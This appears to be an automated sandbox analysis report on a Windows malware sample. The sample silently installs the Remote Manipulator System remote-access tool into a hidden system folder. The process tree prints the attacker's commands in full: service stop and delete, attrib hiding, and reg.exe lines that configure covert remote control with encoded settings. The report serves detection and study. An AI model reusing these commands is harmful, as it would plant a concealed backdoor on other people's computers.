Analysis
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max time kernel
143s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
27-11-2022 03:56
Static task
static1
Behavioral task
behavioral1
Sample
7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe
Resource
win7-20220812-en
General
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Target
7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe
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Size
4.1MB
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MD5
141b7122a1d414677e11e8c702aee431
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SHA1
dee8fb536fb3f386e536a0326f8c9e786c4f5dae
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SHA256
7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8
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SHA512
e554a8afbc85be16a7452285c7b9feeec115a23f302c69ccfdae6070d907fa16841b7706d22a7fbce2af150d426f5b037d53c4d74aaf26b872e828a37880c32e
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SSDEEP
98304:M1wrPDPnWKw6ki4JNHrotxdJP2jTqmuX3O2HChZy7hN:M1Iu5cUpoXdJuSmyOXo77
Malware Config
Signatures
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Executes dropped EXE 8 IoCs
pid Process 1476 data.exe 4272 rutserv.exe 3248 rutserv.exe 2244 rutserv.exe 4872 rutserv.exe 4316 rfusclient.exe 3976 rfusclient.exe 2252 rfusclient.exe -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 176 attrib.exe -
Stops running service(s) 3 TTPs
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resource yara_rule behavioral2/files/0x0007000000022e43-151.dat upx behavioral2/files/0x0007000000022e63-179.dat upx behavioral2/files/0x0007000000022e63-182.dat upx behavioral2/files/0x0007000000022e63-183.dat upx behavioral2/memory/4316-184-0x0000000000400000-0x0000000000AE6000-memory.dmp upx behavioral2/memory/3976-185-0x0000000000400000-0x0000000000AE6000-memory.dmp upx behavioral2/files/0x0007000000022e63-187.dat upx behavioral2/memory/2252-188-0x0000000000400000-0x0000000000AE6000-memory.dmp upx behavioral2/memory/4316-189-0x0000000000400000-0x0000000000AE6000-memory.dmp upx behavioral2/memory/3976-190-0x0000000000400000-0x0000000000AE6000-memory.dmp upx behavioral2/memory/2252-191-0x0000000000400000-0x0000000000AE6000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA data.exe -
AutoIT Executable 3 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral2/files/0x0007000000022e41-136.dat autoit_exe behavioral2/files/0x0007000000022e41-137.dat autoit_exe behavioral2/files/0x0007000000022e42-150.dat autoit_exe -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\symbols\exe\rutserv.pdb rutserv.exe File opened for modification C:\Windows\SysWOW64\rutserv.pdb rutserv.exe File opened for modification C:\Windows\SysWOW64\exe\rutserv.pdb rutserv.exe -
Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\spom\abd9bab3-7012-4320-95e3-1d9c1ea87502.tmp cmd.exe File opened for modification C:\Windows\spom\rutserv.exe cmd.exe File opened for modification C:\Windows\spom\wctE073.tmp cmd.exe File created C:\Windows\spom\dd_vcredistUI1716.txt cmd.exe File created C:\Windows\spom\e6851ded-7841-4ea9-a1cb-be7c624c6623.tmp cmd.exe File created C:\Windows\spom\JavaDeployReg.log cmd.exe File opened for modification C:\Windows\spom\rutserv.pdb rutserv.exe File created C:\Windows\spom\Microsoft .NET Framework 4.7.2 Setup_20221111_134339008.html cmd.exe File created C:\Windows\spom\tmpE574.tmp cmd.exe File opened for modification C:\Windows\spom\uac.cmd cmd.exe File created C:\Windows\spom\SOCAAGDT-20221111-1349a.log cmd.exe File created C:\Windows\spom\wct5FC3.tmp cmd.exe File created C:\Windows\spom\wctBA76.tmp cmd.exe File created C:\Windows\spom\aria-debug-1404.log cmd.exe File created C:\Windows\spom\b62e97c9-008b-4765-8200-c7894cc49bc1.tmp cmd.exe File created C:\Windows\spom\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt cmd.exe File opened for modification C:\Windows\spom\dd_vcredistUI1716.txt cmd.exe File opened for modification C:\Windows\spom\Microsoft .NET Framework 4.7.2 Setup_20221111_134339008.html cmd.exe File created C:\Windows\spom\wctC90E.tmp cmd.exe File opened for modification C:\Windows\spom\wmsetup.log cmd.exe File opened for modification C:\Windows\spom\BroadcastMsg_1668174500.txt cmd.exe File opened for modification C:\Windows\spom\dd_vcredistMSI16EC.txt cmd.exe File opened for modification C:\Windows\spom\jawshtml.html cmd.exe File created C:\Windows\spom\rutserv.exe cmd.exe File opened for modification C:\Windows\spom\wctBA76.tmp cmd.exe File created C:\Windows\spom\webmmux.dll cmd.exe File opened for modification C:\Windows\spom\267c0e14-e082-4c8e-b884-726af602c259.tmp cmd.exe File created C:\Windows\spom\ff5e6324-7f77-4f47-8801-ccc9bf320efe.tmp cmd.exe File opened for modification C:\Windows\spom\msedge_installer.log cmd.exe File created C:\Windows\spom\nouac.cmd cmd.exe File opened for modification C:\Windows\spom\wctE53.tmp cmd.exe File opened for modification C:\Windows\spom\SOCAAGDT-20221111-1349.log cmd.exe File created C:\Windows\spom\AdobeSFX.log cmd.exe File created C:\Windows\spom\dd_vcredistMSI16EC.txt cmd.exe File created C:\Windows\spom\dd_vcredistMSI1716.txt cmd.exe File opened for modification C:\Windows\spom\dd_vcredistMSI1716.txt cmd.exe File created C:\Windows\spom\SOCAAGDT-20221111-1349.log cmd.exe File opened for modification C:\Windows\spom\wctC90E.tmp cmd.exe File created C:\Windows\spom\a7bdbf36-2514-4d47-82c4-0a4bee5c8ae8.tmp cmd.exe File created C:\Windows\spom\data.exe cmd.exe File created C:\Windows\spom\dd_vcredistUI16EC.txt cmd.exe File opened for modification C:\Windows\spom\ff5e6324-7f77-4f47-8801-ccc9bf320efe.tmp cmd.exe File created C:\Windows\spom\vp8decoder.dll cmd.exe File opened for modification C:\Windows\spom\data.exe cmd.exe File opened for modification C:\Windows\spom\SOCAAGDT-20221111-1349a.log cmd.exe File opened for modification C:\Windows\spom\webmmux.dll cmd.exe File created C:\Windows\spom\wmsetup.log cmd.exe File created C:\Windows\spom\b979706f-a9ef-4d07-92e8-ce62caf05b64.tmp cmd.exe File opened for modification C:\Windows\spom\hide.exe cmd.exe File created C:\Windows\spom\rfusclient.exe cmd.exe File created C:\Windows\spom\BroadcastMsg_1668174500.txt cmd.exe File opened for modification C:\Windows\spom\rfusclient.exe cmd.exe File created C:\Windows\spom\wctE53.tmp cmd.exe File created C:\Windows\spom\webmvorbisdecoder.dll cmd.exe File opened for modification C:\Windows\spom\webmvorbisdecoder.dll cmd.exe File created C:\Windows\spom\abd9bab3-7012-4320-95e3-1d9c1ea87502.tmp cmd.exe File opened for modification C:\Windows\spom\AdobeSFX.log cmd.exe File opened for modification C:\Windows\spom\vp8decoder.dll cmd.exe File created C:\Windows\spom\vp8encoder.dll cmd.exe File created C:\Windows\spom\wct7D0F.tmp cmd.exe File created C:\Windows\spom\tmpE323.tmp cmd.exe File opened for modification C:\Windows\spom\tmpE323.tmp cmd.exe File created C:\Windows\spom\uac.cmd cmd.exe File opened for modification C:\Windows\spom\aria-debug-1404.log cmd.exe -
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1996 sc.exe 5096 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4272 rutserv.exe 4272 rutserv.exe 4272 rutserv.exe 4272 rutserv.exe 4272 rutserv.exe 4272 rutserv.exe 3248 rutserv.exe 3248 rutserv.exe 2244 rutserv.exe 2244 rutserv.exe 4872 rutserv.exe 4872 rutserv.exe 4872 rutserv.exe 4872 rutserv.exe 4872 rutserv.exe 4872 rutserv.exe 4316 rfusclient.exe 4316 rfusclient.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
pid Process 2252 rfusclient.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4272 rutserv.exe Token: SeDebugPrivilege 2244 rutserv.exe Token: SeTakeOwnershipPrivilege 4872 rutserv.exe Token: SeTcbPrivilege 4872 rutserv.exe Token: SeTcbPrivilege 4872 rutserv.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1476 data.exe 1476 data.exe 1476 data.exe -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 1476 data.exe 1476 data.exe 1476 data.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4272 rutserv.exe 3248 rutserv.exe 2244 rutserv.exe 4872 rutserv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4372 wrote to memory of 1476 4372 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe 84 PID 4372 wrote to memory of 1476 4372 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe 84 PID 4372 wrote to memory of 1476 4372 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe 84 PID 4372 wrote to memory of 4004 4372 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe 85 PID 4372 wrote to memory of 4004 4372 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe 85 PID 4372 wrote to memory of 4004 4372 7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe 85 PID 1476 wrote to memory of 2076 1476 data.exe 87 PID 1476 wrote to memory of 2076 1476 data.exe 87 PID 1476 wrote to memory of 2076 1476 data.exe 87 PID 2076 wrote to memory of 2140 2076 cmd.exe 89 PID 2076 wrote to memory of 2140 2076 cmd.exe 89 PID 2076 wrote to memory of 2140 2076 cmd.exe 89 PID 2140 wrote to memory of 3112 2140 net.exe 90 PID 2140 wrote to memory of 3112 2140 net.exe 90 PID 2140 wrote to memory of 3112 2140 net.exe 90 PID 2076 wrote to memory of 5008 2076 cmd.exe 91 PID 2076 wrote to memory of 5008 2076 cmd.exe 91 PID 2076 wrote to memory of 5008 2076 cmd.exe 91 PID 5008 wrote to memory of 4232 5008 net.exe 92 PID 5008 wrote to memory of 4232 5008 net.exe 92 PID 5008 wrote to memory of 4232 5008 net.exe 92 PID 2076 wrote to memory of 1996 2076 cmd.exe 93 PID 2076 wrote to memory of 1996 2076 cmd.exe 93 PID 2076 wrote to memory of 1996 2076 cmd.exe 93 PID 2076 wrote to memory of 5096 2076 cmd.exe 94 PID 2076 wrote to memory of 5096 2076 cmd.exe 94 PID 2076 wrote to memory of 5096 2076 cmd.exe 94 PID 2076 wrote to memory of 1204 2076 cmd.exe 95 PID 2076 wrote to memory of 1204 2076 cmd.exe 95 PID 2076 wrote to memory of 1204 2076 cmd.exe 95 PID 2076 wrote to memory of 176 2076 cmd.exe 96 PID 2076 wrote to memory of 176 2076 cmd.exe 96 PID 2076 wrote to memory of 176 2076 cmd.exe 96 PID 2076 wrote to memory of 4272 2076 cmd.exe 97 PID 2076 wrote to memory of 4272 2076 cmd.exe 97 PID 2076 wrote to memory of 4272 2076 cmd.exe 97 PID 2076 wrote to memory of 3248 2076 cmd.exe 98 PID 2076 wrote to memory of 3248 2076 cmd.exe 98 PID 2076 wrote to memory of 3248 2076 cmd.exe 98 PID 2076 wrote to memory of 3628 2076 cmd.exe 99 PID 2076 wrote to memory of 3628 2076 cmd.exe 99 PID 2076 wrote to memory of 3628 2076 cmd.exe 99 PID 2076 wrote to memory of 3428 2076 cmd.exe 100 PID 2076 wrote to memory of 3428 2076 cmd.exe 100 PID 2076 wrote to memory of 3428 2076 cmd.exe 100 PID 2076 wrote to memory of 2728 2076 cmd.exe 101 PID 2076 wrote to memory of 2728 2076 cmd.exe 101 PID 2076 wrote to memory of 2728 2076 cmd.exe 101 PID 2076 wrote to memory of 4492 2076 cmd.exe 102 PID 2076 wrote to memory of 4492 2076 cmd.exe 102 PID 2076 wrote to memory of 4492 2076 cmd.exe 102 PID 2076 wrote to memory of 2440 2076 cmd.exe 103 PID 2076 wrote to memory of 2440 2076 cmd.exe 103 PID 2076 wrote to memory of 2440 2076 cmd.exe 103 PID 2076 wrote to memory of 848 2076 cmd.exe 104 PID 2076 wrote to memory of 848 2076 cmd.exe 104 PID 2076 wrote to memory of 848 2076 cmd.exe 104 PID 2076 wrote to memory of 5024 2076 cmd.exe 105 PID 2076 wrote to memory of 5024 2076 cmd.exe 105 PID 2076 wrote to memory of 5024 2076 cmd.exe 105 PID 2076 wrote to memory of 2244 2076 cmd.exe 106 PID 2076 wrote to memory of 2244 2076 cmd.exe 106 PID 2076 wrote to memory of 2244 2076 cmd.exe 106 PID 4872 wrote to memory of 4316 4872 rutserv.exe 109 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 176 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe"C:\Users\Admin\AppData\Local\Temp\7435105aec655a494f65351ce4e8d55d9db5c20bd27a003dd8c694d71abf08b8.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Users\Admin\AppData\Local\Temp\data.exe"C:\Users\Admin\AppData\Local\Temp\data.exe"2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c nouac.cmd3⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\SysWOW64\net.exenet stop netaservice4⤵
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop netaservice5⤵PID:3112
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C:\Windows\SysWOW64\net.exenet stop rmanservice4⤵
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop rmanservice5⤵PID:4232
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C:\Windows\SysWOW64\sc.exesc delete netaservice4⤵
- Launches sc.exe
PID:1996
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C:\Windows\SysWOW64\sc.exesc delete rmanservice4⤵
- Launches sc.exe
PID:5096
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C:\Windows\SysWOW64\reg.exereg delete "HKLM\SYSTEM\Remote Manipulator System" /f4⤵PID:1204
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C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Windows\spom"4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:176
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C:\Windows\spom\rutserv.exe"rutserv.exe" /silentinstall4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4272
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C:\Windows\spom\rutserv.exe"rutserv.exe" /firewall4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3248
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "notification" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e002000760065007200730069006f006e003d0022003600310030003000330022003e003c007500730065003e0074007200750065003c002f007500730065003e003c0065006d00610069006c003e0070006c00750074007500730031004000790061006e006400650078002e00720075003c002f0065006d00610069006c003e003c00690064003e007b00380031004500330030003000390033002d0039003100350032002d0034004100300032002d0039003500380044002d003400320042004200380043004100440039004200320043007d003c002f00690064003e003c00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e00660061006c00730065003c002f00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e003c00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e00660061006c00730065003c002f00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e003c00730065006e0074003e00660061006c00730065003c002f00730065006e0074003e003c00760065007200730069006f006e003e00360031003000300033003c002f00760065007200730069006f006e003e003c007000750062006c00690063005f006b00650079005f006d003e003c002f007000750062006c00690063005f006b00650079005f006d003e003c007000750062006c00690063005f006b00650079005f0065003e003c002f007000750062006c00690063005f006b00650079005f0065003e003c00700061007300730077006f00720064003e003c002f00700061007300730077006f00720064003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c0064006900730063006c00610069006d00650072003e003c002f0064006900730063006c00610069006d00650072003e003c002f0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e003e000d000a004⤵PID:3628
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "UserAccess" /t REG_BINARY /d4⤵PID:3428
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Password" /t REG_BINARY /d 380039004400430041004600430035004600420039004500440042003800410038003700300034003500330036003900330033003500370037003400300038004400310037004100360035003900360034003900330038004600330041003400350034003800360032003700300031003100370046004200360033003900410037003500430043003100390044003600460034003800300030004600300037003200370039003700360042003700300043004200410038003400370037003900340039003000340036004500330034003600340036003500300043004300450041004100450038003900460041004300300035003900370046003900320034004⤵PID:2728
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003600300030003000340022003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a004⤵PID:4492
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70080c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034323030392e37343435313730303233084c6963656e73657306ae524d532d462d62366665664645334436363231346539363944333744396163653235423032366269593253326459586c52664477776e4932314758554a4544683945586d78785030594756304a5856513066506a6c74446c46564467594841514271664738645556554f446c5246446d42346667494e4841494341514a76594878704141734c4141734d486c516d63323952566b554f41677765557a773562513458576c564c623168654e434a740d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223630303034223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a1144697361626c65496e7465726e65744964080b536166654d6f64655365740800004⤵PID:2440
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "C:\Windows\spom\rfusclient.exe"4⤵PID:848
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C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600300030003000340022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a004⤵PID:5024
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C:\Windows\spom\rutserv.exe"rutserv.exe" /start4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2244
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "2⤵PID:4004
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C:\Windows\spom\rutserv.exeC:\Windows\spom\rutserv.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\spom\rfusclient.exeC:\Windows\spom\rfusclient.exe /tray2⤵
- Executes dropped EXE
PID:3976
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C:\Windows\spom\rfusclient.exeC:\Windows\spom\rfusclient.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4316 -
C:\Windows\spom\rfusclient.exeC:\Windows\spom\rfusclient.exe /tray3⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:2252
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
300B
MD5f0bcf24d001128730c3733424d8da2ea
SHA104f611967e6c3380cd2d9783b39ea64e6ffe1de1
SHA2564f95ba73a6e484e8bd5fb777cc5cc60da4c62270a73d79ec55f5f802e665b10b
SHA512ad927901f861835ecf6a36c919e05c82b5e93ebeb599ceeab8fccffc15909f67b2b9c8f338131bbf35769bf16a1aaeb6b194a6c66a1fb789d36fdbfa62284ee0
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Filesize
819KB
MD571a944406c89ab321cb1e55c37916d70
SHA1be6ee2015475bdc1a665b1e6b86e86fcc1025c91
SHA2564f10edbc89298118923bdb78d1f9e12406b85f34729d8a7ee4dec74f38baaa96
SHA5129ad4c3ad397643344ff93be905db8ae88afb61c4915873e88332b3fa00021ec5ffa858d32885dd9d374ae3d96d5913eba79f2706aef0b541121f7794d86b1cda
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Filesize
819KB
MD571a944406c89ab321cb1e55c37916d70
SHA1be6ee2015475bdc1a665b1e6b86e86fcc1025c91
SHA2564f10edbc89298118923bdb78d1f9e12406b85f34729d8a7ee4dec74f38baaa96
SHA5129ad4c3ad397643344ff93be905db8ae88afb61c4915873e88332b3fa00021ec5ffa858d32885dd9d374ae3d96d5913eba79f2706aef0b541121f7794d86b1cda
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Filesize
819KB
MD572cc4ab6ee23c79bbeed4c4d7b31f741
SHA1a5598acb794ebbbad6c0819c20f6f7ed99541e89
SHA2565be7bb92afe804aa0eaac077f5527f9710c5a3ebd6a7c898d810d3d0388ecf73
SHA5124840b26abe306cdd05694eb8f0f750e451d83cdb4787b5539d730645ce66b2915b422f9e6be4a22885929fffb3c4b5bb50d9ffa8454045a11b55277c611eabf5
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Filesize
10KB
MD52a0f50d2843dc39924eba8e561d635cb
SHA1050f7e0edb476dc1c9760a75e114100c2b04c560
SHA2563745091ce52393dbbb7d0eeab2ef8a6c8554226366c8da3e2aa4305275fb8b91
SHA512fa4f30ad81864c8ff8a90918fc979a2dea85e8a51690622a6ae76f5a47640cabac2382e0340e402f2d30f93a52ce1213ffb764835e5fc0179164f8d24870c540
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Filesize
1.8MB
MD53afec4347159849e4ef50d179ff1fed7
SHA19b3e00d0a426c622ddc34fbee96595d41bd8db72
SHA2567ee8203360bf7c114e892664fda4bf66d15db67f6d3192a692b6bc9bc457998f
SHA512aa99927b06e5fefffee73124ac7ace117b74a4087090109f705c36f44f6beb5e856a55c63238c7ffc73eaba37fbd15f855ca1232cc22371039031abd8fd25bf4
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Filesize
6.3MB
MD593a4649d70ce76d6815874fc7a72c6fb
SHA11e9f663fd9cb66140001847849ddf0451365233f
SHA2566dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
SHA512a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
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Filesize
10KB
MD5547c86520f36394829ce6aaa9ff7d65c
SHA1c31871a3085eb9cee026360ffd160e753b358115
SHA25662b15fec3ebe65c24b4703524ec4b81864222db42db2feb172de9ca0edad0c87
SHA5123f79bc3187b5f3f9ea106b673acb4958c157a625adcbb8e58adc65b2c399868754e028cd7e590ce64f827ec038450cb70b212f736f3803090ffbd7b945eb7491
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Filesize
127KB
MD5bda3c03c3e5d65922a311009e0ae8cd6
SHA137093c457ac5f01649b4d23a3d075a531af08baa
SHA25630dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290
SHA512eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b
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Filesize
238KB
MD5200cba4b9cbdd64f1a281b89cd1467f3
SHA1fc3ccf8d57efcdc0d22b61ff6e49798d551a9118
SHA256c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e
SHA51215a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3
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Filesize
90KB
